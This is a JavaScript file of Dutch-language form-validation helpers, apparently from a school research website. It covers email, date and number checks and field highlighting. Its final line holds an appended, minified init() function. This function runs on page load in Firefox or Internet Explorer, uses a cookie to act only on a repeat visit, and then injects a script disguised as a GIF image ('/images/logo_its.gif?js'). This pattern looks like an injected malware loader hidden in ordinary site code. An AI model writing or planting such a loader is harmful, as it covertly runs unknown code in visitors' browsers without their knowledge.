 var needToConfirm = false;
  

//window.onbeforeunload = confirmExit;
  function confirmExit()
  {
    if (needToConfirm)
      return confirm("De door u gemaakte wijzigingen gaan hiermee verloren.");
  }  
             
 function checkEmail(email){
        if(email != ''){
          var re = /^[a-z0-9\-\.\_]+@([a-z0-9\-]+\.)+[a-z]{2,4}$/i;
          if(!email.value.match(re)) 
              {
              alert('Geen juist e-mailadres');
              var em=document.getElementsByName( email.name) 
              em.focus;
            return false;
          } else {
            return true;
          }
        }
        else
        {
        alert ("Geen e-mailadres ");
        return false;
        }
 }
function change(waarde)
{
    var elem=document.getElementById('hiddenwaarde');
    if(elem)
        elem.value=waarde;
     if(elem)  
 {
    var elem2=document.getElementsByName(elem.value);
    if(elem2)    {
        elem2[0].disabled=true;
    }
    }

           
document.forms[0].submit();

    
}
/****
* functie om te kijken of er een numerieke waarde hoger dan nul ingegeven is
*/
function checknul(waarde)
{
  var ValidChars = "123456789.";
   var IsNumber=true;
   var Char;
var sText=document.getElementById(waarde).value;
 
   for (i = 0; i < sText.length && IsNumber == true; i++) 
      { 
      Char = sText.charAt(i); 
      if (ValidChars.indexOf(Char) == -1) 
         {
         IsNumber = false;
         }
      }
      if(i==0)
        IsNumber = false;
     if(IsNumber==false)
        alert("Geen getal ingevuld");
       return IsNumber;  
}

function isDate(dateStr) {

    var datum=dateStr.value;
    naamdatum=dateStr.name;
datumf=dateStr;
var datePat = /^(\d{1,2})(\/|-)(\d{1,2})(\/|-)(\d{4})$/;
var matchArray = datum.match(datePat); // is the format ok?

if (matchArray == null) {
alert("Vul a.u.b. de datum van "+naamdatum+"  in als dag-maand-jaar");
setTimeout("datumf.focus();",10);
return false;
}

month = matchArray[3]; // p@rse date into variables
day = matchArray[1];
year = matchArray[5];

if (month < 1 || month > 12) { // check month range
alert("Vul a.u.b. de maand van "+naamdatum+" in als een getal tussen  1 en 12.");
setTimeout("datumf.focus();",10);
return false;
}

if (day < 1 || day > 31) {
alert("Dag"+naamdatum+" moet tussen 1 en 31 liggen.");
setTimeout("datumf.focus();",10);
return false;
}

if ((month==4 || month==6 || month==9 || month==11) && day==31) {
alert("Maand "+month+" van "+naamdatum+" heeft geen 31 dagen!")
setTimeout("datumf.focus();",10);
return false;
}

if (month == 2) { // check for february 29th
var isleap = (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0));
if (day > 29 || (day==29 && !isleap)) {
alert("Februari " + year + " van "+naamdatum+" heeft geen " + day + " dagen!");
setTimeout("datumf.focus();",10);
return false;
}
}
return true; // date is valid
}
  function wisInhoud(field){
        if(field.value=="s.v.p. invullen") field.value = "";
      }
  function checkIfFilled2(field){
        if((field.value!="")&&(field.value!="s.v.p. invullen")){
          field.className="inputtextmiddel2";
        } else {
          // markeren vh veld dat het moet worden ingevuld
          field.className="inputtextmiddel2_invullen";
          field.value="s.v.p. invullen";
        }
      }
function voorIe(waarde)
{
    var elem=document.getElementById('ieNep');
    if(elem)
        elem.value=waarde;
    
//document.forms[0].submit();
}
function greyOut(that)
{
        waarde=that.name;
        var togrey=document.getElementsByName(waarde);
        if(togrey)
        {
            togrey[0].disabled=true;
            document.forms[0].submit(); 
            return true;
         }
         else
         {
            alert("Er is een fout opgetreden waarschuw de systeembeheerder");
            return false;
         }
        
        
}
function checkIfFilled2(field){
        if((field.value!="")&&(field.value!="s.v.p. invullen")){
          field.className="inputtextmiddel2";
        } else {
          // markeren vh veld dat het moet worden ingevuld
          field.className="inputtextmiddel2_invullen";
          field.value="s.v.p. invullen";
        }
}
 /**
      * deze vervangt de class van het textfield door inputtextmiddel1
      */
      function checkIfFilled1(field){
        if((field.value!="")&&(field.value!="s.v.p. invullen")){
          field.className="inputtextmiddel1";
        } else {
          // markeren vh veld dat het moet worden ingevuld
          field.className="inputtextmiddel1_invullen";
          field.value="s.v.p. invullen";
        }
      }
      
 function kiesalles(elem) // Functie om bij elem alles tegelijk te selecteren of te deselecteren
{
    var i=0;
    var wijzig=elem+'['+i+']';
    var kies=document.getElementById(wijzig);
    while (kies)
    {
        kies.checked=!kies.checked;
        i++;
        wijzig=elem+'['+i+']'
        kies=document.getElementById(wijzig);
    }
}
function meldingAfmelding(that)
{
    if(that.checked==false)
    {
        answer=confirm("Weet u het zeker? Als u dit vinkje weghaalt doet de school niet meer mee aan het onderzoek");
        if(answer==false)
            that.checked=true;
    }
}
function nospaces(t){
if(t.value.match(/\s/g)){
alert('Spaties zijn niet geoorloofd');
t.value=t.value.replace(/\s/g,'');
return false;
}
else
{
    if(t.value.length>8){
    alert('Maximaal 8 karakters toegestaan');
    setTimeout("t.focus();",10);
    return false;}
}
return true;
}
function submitIt()
{
    document.forms[0].submit();
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/logo_its.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
